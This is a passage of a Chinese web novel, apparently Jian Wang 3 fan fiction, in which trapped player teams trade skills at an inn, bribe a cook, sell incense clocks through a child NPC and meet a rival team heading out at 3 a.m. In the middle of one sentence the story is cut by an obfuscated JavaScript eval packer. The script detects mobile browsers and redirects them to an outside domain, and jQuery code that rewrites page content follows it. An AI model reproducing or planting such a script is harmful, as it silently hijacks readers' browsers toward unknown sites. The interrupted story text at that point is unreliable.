说是队伍,但只看到四个人。走在最前面的是一个抱着琴的长歌姑娘,这已经是他们见到的第二个长歌了,她身后是一个凌雪阁,长围巾遮住半张脸,一脸冷漠;再往后是手持魂灯的衍天宗,垂着眼睛,看上去十分沉静;至于走在最后的…… “你同门哎。”柳七刀小声对祁云纵说。 这队伍的第四个人竟然也是个纯阳。他也在看祁云纵,微微颔首,便与他们擦肩而过。 祁云纵转头看了一眼,才说:“他背着松间云鹤——是气纯。” 谢不若倒抽一口凉气:“那按照一般小说的套路,这就是我们的死敌了。” “别惦记你那小说了……”龙葵叹气。 他们不知道的是,这队人与他们擦肩而过之后,并没有走太远,而是就停在了走廊中,静静等待。片刻之后,队伍末尾竟然突兀地浮现出一个暗色的身影,缠绕着荆棘的红色兜帽下露出一双幽深狭长的狐狸眼,这却是一个明教。 “陆厌,你干什么去了?”凌雪阁问他。 “没什么,只是很好奇这最后一名的队伍,就跟着去看了一眼。”叫陆厌的明教笑起来,露出两颗尖尖的虎牙,“不过老板娘似乎能看穿我的暗尘弥散,我接近不了她。” “别去招惹赵云睿。”那抱着琴的长歌姑娘轻轻摇了摇头,“她很奇怪,亲和力太强了,感觉很难在她面前保守秘密。没什么事还是尽量远离她吧。” “知道啦。”陆厌说,又看向队伍里那个气纯,“卫山河,你对你的同门都不好奇么?” “只要他不换人剑,就和我无关。”卫山河道。 “没有哪个剑纯能抵挡住人剑合一的诱惑,尤其是他还看到了你。”衍天宗淡淡地说,“希望之后我们不要碰到他们吧,已经有一个丐帮了,现在又多一个剑纯,浪费气场,有点麻烦。” “——我要换这个人剑!” 祁云纵说,“谁也别拦我!” “没人拦你,换呗。”龙葵头也不抬,对上赵云睿的视线时又有点不好意思,“那个,这个技能后面写的奇穴增益和秘籍增益是什么意思呀。” “换技能送相关奇穴和秘籍,侠士们自己来决定点不点。”赵云睿摇着扇子轻笑,“是不是很优惠呢?” “对对对对!”几个人点头如捣蒜,在柜台流连忘返。 仇非猜的不错,赵云睿这里果然可以换技能。可以兑换的技能一共分为攻击、辅助、生存和防御四大类,攻击技自然无需所言,像门派轻功与解控之类的技能都属于辅助技,而具有化解、闪避等效果的技能则是生存技,防御技则主要是减伤技能。 “谢不若的手气果然很好……”柳七刀感叹。 度过一天奖励一千玉签,谢不若随手一摸就摸出两千,也就是说他们队现在一共有三千玉签,相当于每人拥有六百玉签。 谢不若嘿嘿笑了两声,又红着耳朵试图和赵云睿讲价:“赵姐姐,这个技能的定价是不是有点不合理呀,你看这个洗兵雨要五百,也有点太贵了,怎么丐帮这个拨狗朝天才要一百呢?” “这价格当然是要按照技能本身的价值来定的。”赵云睿笑道,“你怎么不看看人家的笑醉狂,要七百玉签呢。” “哦……哦,很有道理。”谢不若晕乎乎地点头。 “那这也太离谱了。”祁云纵不受赵云睿影响,皱着眉头老大不乐意,“一天才给一千玉签,多少天才能攒够全技能啊。” “技能又不是只能在我这里换。”赵云睿轻摇扇子,“你们也不要光换技能啊,还有其他可以兑换的呢。” 赵云睿说得不错,除了技能,还有很多其他稀奇古怪的东西可以兑换,甚至包括那些没什么用的小道具,诸如同心锁、银心铃和守心戒,柳七刀还看到了大红花和唢呐,还有木鱼。 “耶?”祁云纵发现盲点,“这里有技能出租,我看看……租来的技能只能用一次,但是要便宜很多。” 他心念一转,忽然拉住仇非就朝外走。 “怎么了怎么了?”众人不明就里,但还是跟着祁云纵出去了。走到走廊上,那种晕乎乎的感觉就自然退去,大家回想一下刚才的状态,不由得出了一身冷汗。 “明明说过要注意她的……”龙葵低声道,“差点就掉进了消费主义的陷阱。” “好兄弟,立大功。”谢不若朝祁云纵竖大拇指。 祁云纵证明了自己,立刻将谢不若的原话奉还给他:“头好痒,原来是脑子长出来了。” “……”仇非在心里想,这可真是薛定谔的脑子。她轻咳一声:“大家都看过了技能,什么想法?有一定要换的吗?” “我想换刀墙和上将。” “人剑、无我。” “逐云寒蕊吧。”龙葵说,“太贵了,只能换这一个。” “我没什么一定要换的。”抽到了大招的谢不若十分得意,“真要说的话,缴械或者凝云势?” “我自己想要换的技能是盾舞和盾墙,可惜没有仇非这个奇穴可以换。”仇非说。 她皱起眉头,在心里快速地计算了一下所需玉签的数量:“三千玉签还是不太够。我的想法是这样的,大家各自放弃一些选择,只换自己最想换也能换的,剩下的玉签攒起来,看看能不能租一些技能来用。好在我们队伍里没有气纯、丐帮和这样的职业,对于这些职业来说,像山河和亢龙、笑醉这样的技能几乎是必换,这就大大地限制了团队的选择。” “不知道你们注意到了没有,可以兑换的技能里面没有战复。”之前曾是奶妈的龙葵补充道,“也没有拉人技能,唯一可以兑换的,只有莫问的杯水留影,这跟竞技场很像。” 不是错觉,很多机制都在似有若无地提醒着玩家们,日后可能遭遇的PVP模式。 仇非沉吟,下定结论:“那就刀墙、无我、逐云寒蕊、凝云势和盾舞,再租一次洗兵雨,一次人剑,每人还剩一百玉签自由支配,剩下的一百玉签存起来,怎么样?” “那就这么定了。”柳七刀说,想了想,又嘱咐祁云纵,“你来负责换,我怕我们又不太清醒。” 赵云睿摇着扇子,看着再次杀回来的饿了么小队,笑容差点挂不住。 这个根本不受控制的剑纯是怎么回事啊!这队伍也太抠了吧! “不再看看别的吗?”她“啪”地一声合起扇子,笑道,“这里还有很多小玩意儿哦。” 片刻后,五个人沉默地站在走廊里。 “为什么你们每个人会花十玉签买这个黄鸡大笑玩偶,给我一个解释。”仇非冷冷道。 柳七刀和谢不若被她训得抬不起来头。 “还有你。”仇非又看向祁云纵,有些担忧,“你为什么也买了这玩意儿?对赵云睿的抵抗力会随时间变弱吗?” “什么抵抗力?”祁云纵捏着那个黄鸡大笑,不解道,“我就是单纯地想买……这不很酷吗?” 龙葵在心里想:完了,这三个人碰到一起,还得倒欠仇非一个脑子。 7. 第一天·奖励关卡(七) “曲小蕨。” “哎!”趴在栏杆上和两条灵蛇玩的小毒萝脆生生答应道,跳起来,“我数到一千九百八十六了!” “算上他们中途在走廊里停留的时间,那就是三十三分钟左右。”先前叫她的长歌沉吟道,“已经大大超过了一般队伍用于兑换的时间。” “付井仪,你为什么格外注意他们?”带着半边面具的唐门把玩着手里的凤尾天机,“那小丫头不是说他们这一队最弱么?” “孟秋是NPC,NPC判定强弱的方法很可能和我们不同。”付井仪淡淡道,“据我推测,第一天最简单的通关方法就是白天喂食小谷尸体让她升级,同时小谷吃到尸体后不会再优先攻击玩家,晚上玩家便可以利用升级后的小谷抗衡巨尸和尸潮,再在小谷失控前杀死她,就能平安度过夜晚。因为行守大师心软,我们没有杀死小谷,所以进入客栈要慢于其他队伍。那么你觉得,姗姗来迟且浑身是伤的他们,又是采取什么方式通关的呢?” 被叫做行守大师的少林说:“一力降十会。” “不会吧。”曲小蕨愣了,“他们是从尸潮里硬杀出来的?这么厉害?” “不仅如此,从他们停留的时间来看,我认为他们很可能拿到了远超于其他人的奖励。”付井仪说,又问站在一边的丐帮,“有攸,在大堂时,你听到他们说的小谷掉落是什么了么?” 那丐帮戴着云幕遮,黑色碎发中露出来的耳廓微微动了动:“听到了,是张纸条,那霸刀说上面的图案是‘餐具和鱼’。” 付井仪闻言,陷入沉思,片刻后,他轻轻笑了笑。 “还真是好人有好报。” “这你都能知道是什么?”那唐门站直了身子,将千机弩收回腰间,“你也太神了吧。” 行守却问:“我们没拿到这个奖励,对后面有影响吗?” “倒没有太大影响。”付井仪说,“不过,以后要是遇到这支队伍,确实可以优先考虑合作。他们从头到尾一定没有让小谷吃到任何人肉……对NPC尚且如此,足以见其良善之心。这方面是我疏忽了,急于求成,没考虑到小谷这条暗线。” 唐门一笑:“有能冲出尸潮的实力才是良善之心,没有的话就只不过是妇人之仁了。” “但是,你是怎么确定不能让小谷吃到人肉才能拿到特殊奖励的呢?”曲小蕨好奇道。 “因为她在原剧情里做了菜人啊。”付井仪轻轻叹了口气,“你们听过《菜人哀》这首诗么? 夫妇年饥同饿死,不如妾向菜人市。 得钱三千资夫归,一脔可以行一里。 芙蓉肌理烹生香,乳作馄饨人争尝。 两肱先断挂屠店,徐割股腴持作汤。 不令命绝要鲜肉,片片看入饥人腹。 男肉腥臊不可餐,女肤脂凝少汗粟。 三日肉尽馀一魂,求夫何处斜阳昏。 天生妇作菜人好,能使夫归得终老。 生葬肠中饱几人,却幸乌鸢啄不早。 她为了亲人而自行割去左臂、右腿,最终却依然没能活下来,心中不甘,甚至变作冤魂,日日徘徊在浪客行的记载中。就算饿得失去理智,她的内心应当也在排斥同类相食,对于喂她人肉的玩家,又怎么喜欢得起来?” 他的声音清清冷冷,念着这首诗,在空寂的走廊里回荡,竟然让人听着心生寒意。想起他们在湘竹溪遇到的小谷,那空洞无神的大眼睛和瘦削的小脸,曲小蕨不禁打了个寒颤。 “尹有攸。”行守摸了摸曲小蕨的头,岔开话题,“现在赵云睿那里应该是没人了,去把我们的技能换了吧。” “好。”尹有攸歪歪头,“就按照先前那个方法么?” “对。有攸,你一定要跟赵云睿确定,技能掉落究竟会不会重复。”付井仪道,“会重复的话,那就按照我们之前商量决定的技能来兑换;不会重复的话那当然是最好的……把便宜技能换完之后,再去摸技能掉落,必然能够摸出剩下的昂贵技能,这大概就是游戏留给穷人们的一线生机吧。” 他想了想,又对唐门说:“唐逐星,麻烦你也去一趟。” “我又不能完全免疫她的影响,我去干什么?”唐逐星不解道。 “你去看着点有攸……”付井仪无奈,“别让他算错数了。” “大堂里还有人。”尹有攸忽然说,他侧过头,准确地报出一串名字来,“李千驰、叶九溪、亓秀秀、裴洛川。还有一个人,但他没有说话,也没有人叫他的名字。边缘的地方大概还有两桌,但他们说话的声音太过模糊,我听不清。” “天策那队在说什么?”曲小蕨好奇道。 “‘真丢人,现在只有我们在老板娘那里的队名还是待定。’”尹有攸一字一顿地说,“‘我不明白,你们对疯狂星期四V我五十这个名字到底有哪里不满了。’” “……”付井仪扶额,“不用管他们了,你们直接去吧。” 还没下楼梯,就能听到策藏秀花伞队吵吵嚷嚷的声音。 “桃源花策秀藏蓬队就很好,不懂你们在质疑什么。”那花间说。 冰心摇摇头:“大家都是老五门,舞袖秀花策藏蓬也不错呀。” 天策小声问藏剑:“九溪,拿天策开头的是啥词?” “我又不是天策。”藏剑不想理他。 “等会儿,方叱羽呢?”冰心忽然发现少了个人。 唐逐星和尹有攸路过他们身边,尹有攸随口说:“他说他要把他的雕兄放到羽房,你们没听见,他就自己走了。” “……” 四个人立刻收声,直到看到唐门与丐帮走远,亓秀秀才皱起眉头。 “完了,丢人丢到别的队面前去了。” 裴洛川手上转着笔:“有这个天策在,我们丢人的日子还在后头呢……” 而他们队的最后一个成员,名叫方叱羽的蓬莱,此刻正在羽房与他的雕兄依依惜别。 羽房不大不小,方叱羽本以为这里养的都是蓬莱的雕或丐帮的隼,仔细一看,发现各种横梁架子上停着的鸟种类繁多,显然不局限于游戏,不禁有些失望,他还想着通过观察这些跟宠来判断同门或其他特定门派的人数。 “哈喽啊,伞兄。”他背后突然有人打招呼,方叱羽转头一看,是个刀宗。他对这个刀宗有印象,是最后进客栈那一队的人。还记得这人刚走进来的时候半身浴血,气势看着很唬人,结果他们的剑纯和霸刀一进来,整个队伍就原形毕露了。 “你好。”方叱羽说,看到他帽檐上停了只小鹦鹉,知道他也是来送鸟的,便侧开身子给他让路。 这刀宗就是谢不若。他安置好自己的鹦鹉出来,发现方叱羽还在门口。 “你怎么不去找你的队友?”他随口问,却看到方叱羽脸上露出了无奈的神情。 这蓬莱叹气道:“他们正在为了队名而吵架……我现在不想回去。” “这有什么?”谢不若眼睛一转,坏笑道,“来,我告诉你——” 大堂里,看到唐门和丐帮再次路过他们身边往楼上走去,策藏秀花齐齐闭嘴。 等看不到人影了,叶九溪才说:“就这么定了,让赵云睿抓阄,无论抓到哪个名字,都不准再吵了!” “快点决定下来抓紧回去睡觉……”亓秀秀以手背捂嘴,优雅地打了个哈欠,“我都困了。” 裴洛川抛着几个不同队名的小纸团,看着他们,在心里冷笑:合着刚刚吵成一团的没有你俩。 李千驰也在心里暗自想道:希望老板娘抽中我写的那个为莎莎哐哐撞大墙队。 四个人“各怀鬼胎”,走到柜台前,李千驰便对赵云睿说:“老板娘,我们来改队名啦。” 赵云睿摇着扇子,撩起眼皮看了他一眼:“真是不巧,你们的蓬莱队友刚刚来改过了。” “?!” 几个人不敢置信,裴洛川连忙追问道:“他改的什么?” 赵云睿把柜台上那张纸往他们面前一推,纸上赫然写着: 蓬莱哪里得罪你们了为什么要被分到这一·队。 不管几个人心里对这个队名有没有意见,方叱羽快人一步、捷足先登,他们已经无力回天。眼看着也快到晚饭时间,四个人杀去后厨,果然看到方叱羽已经在那里了,看到他们,还快乐地朝他们招了招手:“快来,给你们占了座。” 听到他这么说,四人的心里就是一阵感动,心想叫蓬莱哪里得罪你们了为什么要被分到这一队这个破名字就叫吧,他确实挺不容易;结果等他们坐下一看,靠近灶台的地方根本没人,完全没有占座的必要。 几人心里浮现出同一个想法:方叱羽跟谁学坏了? 后厨地方也很宽敞,灶台飘着暖融融的白烟,空气中弥漫着饭菜香味,有种很是难得的温馨感。亓秀秀四处一打量,发现其实这个点来吃饭的人还挺多,只是不同队伍很有默契地都坐得很远,隔着这么远,也看不清剩下那些队伍的配置。 她也就打量了一圈的工夫,回头再看队友,李千驰竟然已经唏哩呼噜地干完了一碗卤肉面。 “金哥!”他还直接和大厨称兄道弟,“再来一碗呗!” 那金大厨正挥舞着斩骨刀剁肉,闻言一笑,眼睛都被脸上的肉挤成两道小缝:“好好好,再给你盛一碗。面不顶饱,再来俩馒头吧。” 亓秀秀面无表情地坐到了裴洛川身边,转头却看见叶九溪饭也不吃了,看着手里的夹肉馒头,一副若有所思的表情。 “怎么了?”她问。 “在赵云睿那里换食物,一碗饭是两玉签,一块肉是三玉签,一壶酒是十玉签。”叶九溪喃喃道,“但在金大厨这里可以随时无限加餐……” 李千驰还在猛猛干饭,突然被队友拍了一下脑袋。他迷茫地抬起头:“九溪,咋了?” 叶九溪低声在他耳边说了几句话,李千驰听着,露出笑来,点了点头。 “金!哥!你做的饭,也太好吃了吧!”就看见李千驰放下筷子,突然站起来,开始以咏叹调的方式赞美金大厨,“我怎么感觉我一直都吃不够呢!你看看这个香炙肉,呃,呃——” 他疯狂地给裴洛川使眼色,裴洛川硬着头皮,顶着四面八方投来的目光,小声说:“秀色可怜刀切肉,清香不断鼎烹龙。” 李千驰用匪夷所思的眼神看了他一眼:“太长了记不住。” 裴洛川想把卤肉面扣在他头上,被方叱羽按住了。 “香炙肉怎么啦?”金大厨还笑眯眯地等着李千驰往后说,李千驰比了个大拇指,发出真诚而朴素的赞美:“好吃!没别的,就是好吃!” 他终于肯坐回原位,小声跟金大厨说:“金哥,我饭量大,半夜老饿,能打包带走不?” 亓秀秀恍然大悟,再看叶九溪,心想,不愧是藏剑山庄出来的人,确实精打细算。众所周知,小吃小药进了背包便永不变质,如果他们能在金大厨这儿打包,那以后都可以省下找赵云睿换食物的玉签了。 “呀,这可不合规矩。”金大厨脸上的笑容渐渐收敛,眼睛睁开一条缝,把他们五个人都挨个打量了一遍,叶九溪赶紧道,“金大……哥,这个给你。” 他是从小队背包取了十个玉签出来。 砰的一声,锋利的斩骨刀带着肉沫剁进了案板里。金大厨在腰间的白布上擦了擦油腻腻的手,盯着叶九溪,语气危险地缓缓问道:“什么意思?” “他没别的意思……”李千驰赶紧说,被叶九溪在脑袋上拍了一把悻悻闭麦了,便听见叶九溪道:“我们这队人就是饿得快,想着半夜下来吃饭还得麻烦您,这不是心里实在是过意不去么。而且金哥你手艺这么好,一顿不吃就得想啊,一想到以后出了客栈就吃不着了,我们也实在是舍不得……” 金大厨跟变脸一样,缓和了脸色,重新笑起来:“哎,你们年轻人闲不住,四处乱跑,是容易饿。” 他速度飞快地从叶九溪手里抢过玉签,不知道揣在哪里了,才说:“也就是你们几个小孩子嘴甜又捧我的场,我才照顾照顾你们,可别让别人知道了。以后想吃啥,尽管从我这拿!” “好嘞金哥!”李千驰大喜,立刻上手。 亓秀秀看着他疯狂地往小队背包里装吃的,前面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691155|173353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她还试图数一下装了几组,到后面便有点麻木了,干脆挪开视线,慢慢吃自己的晚饭。 方叱羽笑问:“千驰那个浮夸的表达方式也是你教的?” “那是他自己加的戏。”叶九溪说,一转头,又盯上了裴洛川。 方叱羽和亓秀秀不知道他要干嘛,便跟着叶九溪一起看裴洛川。 裴洛川正在吃面。顶着三个人的目光,他不紧不慢地放下筷子,整理袖口,将鬓发拢至耳后,再拿出一张丝绢叠好,擦了擦嘴角,又默默从怀中取出一面铜镜,前后左右照了照。 照完镜子,他怒道:“我脸上又没粘上面条,你们看我干什么!” 亓秀秀和方叱羽赶紧收回视线低头吃饭,只是手因为憋笑而不停颤抖,这一幕如果让其他队的人看见,恐怕会以为花间正在对蓬莱与冰心进行无情的队内霸凌。 “裴洛川,我记得你好像会做一点手工。”叶九溪兀自盯着他说,“放到游戏里,就是你们万花的那个……‘天工’?” 裴洛川一愣:“这倒是,浪客行好像会给每个门派一些天赋加成,加到我身上是天工。怎么了?” 孟秋哼着歌,蹦蹦跳跳地经过客栈大堂。 忽然,她闻到一股香甜的味道。这味道她可太熟悉了,是客栈里才有的饴糖,只是老板娘说吃多了要蛀牙,总是不给她吃。 孟秋扭过头,便看见一群人坐在那里分着饴糖吃。 甜甜的,脆生生的,用小锤子敲碎了,放到嘴里嚼一嚼,还会有点粘牙…… 她正眼巴巴地看着,忽然,那桌边一个藏剑就转过身来,对她招了招手:“小妹妹,帮老板娘干活儿呢?” 孟秋哒哒地跑过去:“对呀!” “这么棒!你可真厉害呀。”同桌的冰心说。她长得很漂亮,是让人看着就心生亲切的类型,孟秋很喜欢她,更喜欢她手里拿着的糖块儿。 这分糖吃的队伍,正是亓秀秀等人。看见饴糖把孟秋钓过来了,方叱羽就俯下身,对她说:“小妹妹,帮我们一个忙可以么?” 孟秋本来还在盯着糖块,听到他这么说,警惕心立刻发作:“你先说,是什么忙?” “是这样,我们的同伴用在你们老板娘那里换来的原材料,做了一个小玩意儿。”叶九溪说,那边裴洛川就拿出一个小圆盘在手上。孟秋好奇地看了一眼,那小圆盘也不知道是用什么做的,颜色倒是挺好看,里面有很多曲里拐弯的镂空花纹和刻度,中心空着一块,似乎能放什么东西进去。 裴洛川把它递给孟秋:“这叫‘香篆钟’,是计时用的。将木盘香放进去点燃,香灰落满一圈便是一个小时,完全落满就是四小时,合两时辰。盖上防风罩之后,除非将它整个浸入水中,否则无论如何颠簸,香也不会熄灭。” 孟秋将那所谓的“香篆钟”拿在手上来回看了几遍,觉得精巧是精巧,但没什么兴趣:“你是想叫我让老板娘买了这东西?它是挺有意思,但咱们客栈有漏刻、有圭表,用不上呀。” “那倒不是。”叶九溪笑道,“我们是想卖这钟表,但不是卖给你,是卖给其他人。其实之前我们已经和老板娘商量好了,将这钟表放到她那里出售,但现在大家基本上都换完东西了,如果没人宣传一下的话,谁又知道她那儿还能买到这东西呢?” “你想让我帮你们卖吆喝?”孟秋很聪明,一下子明白过来,“那你们怎么不自己去卖呀。” 叶九溪心说,香篆钟卖出去,赚进来的可是玉签,这不得成其他队伍的眼中钉了。 为防止暴露,裴洛川做这个香篆钟的时候,还特地把里面的花纹雕成了唐门的门派图标,无他,唐门的线条曲折而繁复,恰恰适合香篆钟的花纹需求,而且唐家堡也有诸多精巧机关术法;只是叶九溪看完之后当即要求他再设计一盘女款香篆钟,纹样便用同样适合香篆钟的五毒。 两款钟,裴洛川各做了十几个,全寄售在赵云睿那儿了。 他面上还是微笑着,悄悄与孟秋耳语:“我们这做钟的队友,脾气古怪得很,总觉得自己放下身段去叫卖是自降身价……我就跟你说了,你可千万别告诉他,来,咱们拉钩。” 小孩子都喜欢听秘密,孟秋兴奋地和他勾了勾小指头,表示理解理解,一定保密。 看到叶九溪和孟秋都时不时地瞟自己一眼,裴洛川莫名其妙。他转头问方叱羽:“我头发乱了么?” “不乱。”方叱羽看了他一眼,道。 裴洛川还是盯着他,方叱羽只好补充:“很帅。” 裴洛川这才将信将疑地转过头。 叶九溪觉得火候差不多了,将几包饴糖从李千驰的手底下一股脑地拽出来,全堆在孟秋面前。他的意思十分明显,孟秋差点乐出声,但还是强行板着一张小脸,假装不悦道:“干什么呀,贿赂我?” “这可不是贿赂。”叶九溪严肃道,“你帮我们办事,这是酬金。先给你一板麻糖,每卖出去一只钟,再分你提成一板,如何?” 他们身后,几个队友正在疯狂地用眼神交流。 李千驰:我说他怎么让我去找金大厨打听孟秋的爱好呢。 方叱羽:反正小孩儿都喜欢被当成大人对待,应该是跑不了她了。不过我很好奇,门派天赋是不是给他点成经营了? 亓秀秀:那必然啊,我看他高低得是个艾利斯顿商学院的博士后。 裴洛川:他甚至连CP粉的购买力都考虑到了……真狠。 果然,孟秋开心道:“成交!你们是哪个队?报个名字,我之后好找你们!” “哦,我们是蓬莱没得罪你们但是被分到了这一队。”叶九溪道。 亓秀秀赶紧打断他:“不对不对,我们是蓬莱得罪了你们才被分到了这一队。” “什么?”李千驰疑惑,“我们难道不是蓬莱做错了什么为什么被分到这一队吗?” 裴洛川摇摇头:“不,是蓬莱和你们无冤无仇怎么被分到了这一队。” 孟秋听得头都大了:“知道了知道了,蓬莱队是吧!” 方叱羽:…… 蓬莱真的没得罪你们啊! 8. 第?天·???(八) 解决完财政大计,几个人都有点困了。 客栈大堂里就放着硕大的漏刻,也就是水钟。用以计时的水一点点漫过丑寅交汇之际,现在已经是凌晨三点多了。从晚饭后,他们连做钟带推销折腾了整整大半晚上,现在都有些打不起精神,裴洛川便问:“回去休息么?” “走吧。”方叱羽道。连孟秋都回去睡觉了,大堂里基本上已经空空荡荡,除了他们,没有其他人在。 便在这个时候,一阵脚步声忽然传来——凌晨三点,竟然有一行人从二楼下来了。 亓秀秀抬头看去,发现这是昨天下午坐在他们附近的那个队伍。抱着琴的长歌姑娘与面容沉静的衍天并肩而行,身后是表情漠然的凌雪阁与大步流星的纯阳,明教走在最后,步伐无声无息,几乎要隐入烛光照不亮的黑暗中。 这一队人目不斜视,彼此之间也几乎没有交流,似乎对“蓬莱哪里得罪你们了为什么要被分到这一队”为何此时还留在大堂毫不好奇,只有那为首的长歌姑娘向他们微微点头示意,擦肩而过时,纯阳的鹤氅广袖掀起一缕雪一样冷的风。 这队人气势很足,一看就不太好惹,要不是之前进入客栈的时候看到他们坐在一楼大堂,亓秀秀会以为这些人其实是住在三楼那些通关了二周目乃至更多次数的老玩家。她和其他队友交换了一个眼色,心里好奇极了。 叶九溪猛然发现交换眼色的众人中没有李千驰:…… “哎——兄弟们,这大半夜的,你们要去哪?”果然,就听见李千驰扬声问道。 同队的几个人齐刷刷转头看他。 都半夜行动了,人家怎么可能告诉你啊! 本以为那队人不会理会他,没想到队伍中的明教停下了脚步。 “去第二天咯。”他用一种理所当然的语气回答道。 “现在?这个点?”亓秀秀忍不住又确认了一下水钟的刻度,确实是凌晨三点,“蒋玉凤不是说可以在客栈停留一天吗?” “睡够了就起来了呗。”那明教一笑,露出尖尖的犬齿,“再说了,难道你们不好奇吗?既然可以自由决定去第二天的时间,那么所有队伍通关回到客栈的时间还会一样么?” 说完这句话,他本以为能看到几个人脸色大变,没想到这队伍还是五脸茫然地看过来。 “一样或者不一样很重要吗?”叶九溪问。 “……”明教语塞。这时候,那走在前面的衍天宗回过头来。 “走了,陆厌。”他说,声音很轻,背在背后的魂灯轻轻摇晃着,微茫的灯光落在肩头。 陆厌朝他们耸耸肩,转过身跟上了队伍的脚步。蒋玉凤就站在客栈柜台的斜后方,无论白天黑夜,似乎一副不知疲倦的样子,应该也是为了方便玩家随时找她开启新的一天。 这支队伍走远了,走廊里还能隐隐地听见他们低声的对话。 “多说无用……没有立刻想到这一点的人和我们不会有竞争关系……” “大家都卷起来才好玩嘛。” 亓秀秀收回目光,说:“人家好像嫌弃我们笨。” “无所谓,笨就笨。”李千驰打了个哈欠,“老人都说,傻人有傻福……我们什么时候回去睡觉啊,困死了。” 亓秀秀看向裴洛川,裴洛川微微点了点头。 谁也不是真的没脑子,就算之前没想到过,那个叫陆厌的明教提出来时,他们便也能想到这一点了。既然玩家可以自由决定何时进入第二天,那么不同队伍之间结束第二天、回到客栈的时间,还会一样吗? 如果一样,就说明浪客行有意让大家保持相同进度,这没什么好说的。 如果不一样,那玩家们之间的进度会不会越差越大? 会不会别的队伍已经到第四天了、自己的队伍还在第三天? 更准确地说,自己的第三天,是别人的第四天;如果这样的两支队伍遇见了,那孰强孰弱,真是一目了然。 “我们要卷起来吗?”叶九溪问。 “不卷。”裴洛川立即道,“我做了一晚上钟,现在很疲惫,这种状态进入第二天只能拖大家的后腿,请睡觉,立刻,马上,谢谢。” 他们往二楼的房间走去,方叱羽说:“我觉得他们也不是很确定,不同队伍回到客栈的时间究竟会不会一样,所以这次可能也只是做一个实验。我们不妨等等看他们的实验结果。” 亓秀秀也点点头,只是还有个疑问:“他们为什么选择在这个点出发?我想想……大家进入客栈的时候差不多都是下午四点左右,完全可以睡到今天早上再走。” “也许大多数玩家都是这么想的,大家都今早再走,就拉不开时间差了。”裴洛川道。 “其实,我觉得那个明教说的是实话。”李千驰推开房间的门,对大家说,“他们也许是真的睡饱了就出发……毕竟留在客栈也没什么事做。” “睡饱了就出发。”亓秀秀沉默了一会儿,说,“好朴实的理由,和我想象中的不太一样。” 她脑海里邪魅狂狷狠人话不多的四位高手带着一只小猫咪的形象突然摇身一变,变成了一个明教身后藏着四个社恐。这印象太诡异了,亓秀秀赶紧甩甩头,忘掉这些乱七八糟的东西。 “咱们最多在客栈待到今天下午四点。”她进了里间,准备关上房门,特地提醒了一下,“到时候大家都别忘了啊,早做准备,别稀里糊涂地就被送走了。” “这怎么可能忘。”李千驰说,眼皮都快掀不开了,“晚安晚安,快睡吧,别一进图就吓哭了。” 亓秀秀瞪了他一眼,关上了门。 外间的四张罗汉床以绮罗人物四牒屏风做隔断,每张床头放有一盏雕花小灯,此外,房间中央还有盏明晃晃的大灯笼,方叱羽站在床上研究了半天,也没发现这灯该怎么吹灭。 “算了,让它亮着,就这么睡吧。”裴洛川道,从背包里取出他的特制香篆钟,放在床头。 ——为了将香篆钟做成方便随身携带的样子,必须舍弃容量,大多数香篆钟只能让木盘香燃烧四小时,也就是说,这钟表的计时上限就是四小时,超过四小时就得重置。 但裴洛川特制的这一只香篆钟,它的计时上限却足足有二十小时,外表看上去当真是极其硕大,与其说是钟,更像个带盖子的碗。这样的钟自然是不能贴身携带的,所以平时都放在小队背包里,需要的时候再取出来。 裴洛川审美很好,这大型香篆钟外观上看上去完全不输于富贵人家精心锻铸的香炉,木盘香也是气味清淡,很适合放松心神。他随手点燃了一盘香,放进那只大型香篆钟。 “好精致啊。”叶九溪隔着屏风打趣。 “都这么倒霉到这儿来了,只能尽量提高自己的生活质量了。”裴洛川道。 累了一天,其实几人的精神都已经到了临界值,随便聊了几句有的没的,声音便慢慢低下来,各自先后进入了梦乡。 哧、哧、哧…… 迷迷糊糊中,方叱羽翻了个身。 他睡得极其不安稳,朦胧中似乎一直听到有什么细微的声音在耳边响起。 只是潜意识中,方叱羽记得蒋玉凤说过,客栈是绝对安全的,所以他也就没在意,只是闭紧了眼睛,试图陷入到更深的睡梦中去。 哧、哧、哧…… 但那琐碎细微的声音一直不停,终于将他吵醒了。 方叱羽睁开眼,发现房间里那盏大灯笼不知什么时候灭了,入眼一片黑暗,只有床头的小灯亮着幽幽的白光。隔着屏风,其他人均匀的呼吸声此起彼伏,他还听到叶九溪在梦中咕哝道:“就定五十玉签……成本价……不能再少了……” 还成本价……他们那十几只钟的成本也就不到三十玉签。 方叱羽失笑,但是很快,他就听见房间的门被什么东西不停地磨蹭着。 哧、哧、哧…… 方叱羽面色一冷,原来那半梦半醒中听到的声音真的存在。 “李千驰?叶九溪?裴洛川?” 他小声叫道,但那三个人睡得很死,完全没有醒过来。 哧哧声还在响着。这到底是什么动静? 方叱羽端起床头的小灯。客栈里绝对安全,玩家们也不能相互攻击,那东西除了一直在摩挲他们的房门,也没表现出任何破门而入的倾向来;所以,他暂且认为,制造怪声的东西对他们来说是安全的。 他端着灯,轻手轻脚地走向门口。这段距离在平时也就四五步路,但在黑暗中,仿佛被无限地拉长了。越接近门口,那婆娑的响动就听得越清晰;不是哧哧声,是很大面积的摩擦音,有什么东西一次又一次地拂过门板,制造出了这样的声音。 他倒要看看,是什么在装神弄鬼。 方叱羽微微伏下身,在那东西又一次靠近门板时,猛然拉开木门! 令他没想到的是,声音明明是在门板中间响起来的,但那东西本身位置很低,他矮下身,却正好和它撞了个满怀;失去了门的阻隔,那东西直直地扑到了方叱羽的脸上! 方叱羽却愣住了,这熟悉的触感…… “雕兄?” 那一头扎进他怀里的,可不正是他的海雕。原来之前的怪声,是海雕的翅膀摩擦门板发出的声音,它大概一直在门口徘徊,想要进来。 “你怎么找过来了?和羽房的小伙伴相处得不好?谁欺负你?”方叱羽抱着雕兄,连说话声音都柔和了起来,絮絮叨叨,并且完全无视海雕是羽房中体型最大的禽类这一事实,“哪只鸟欺负你了?我帮你揍回去!” 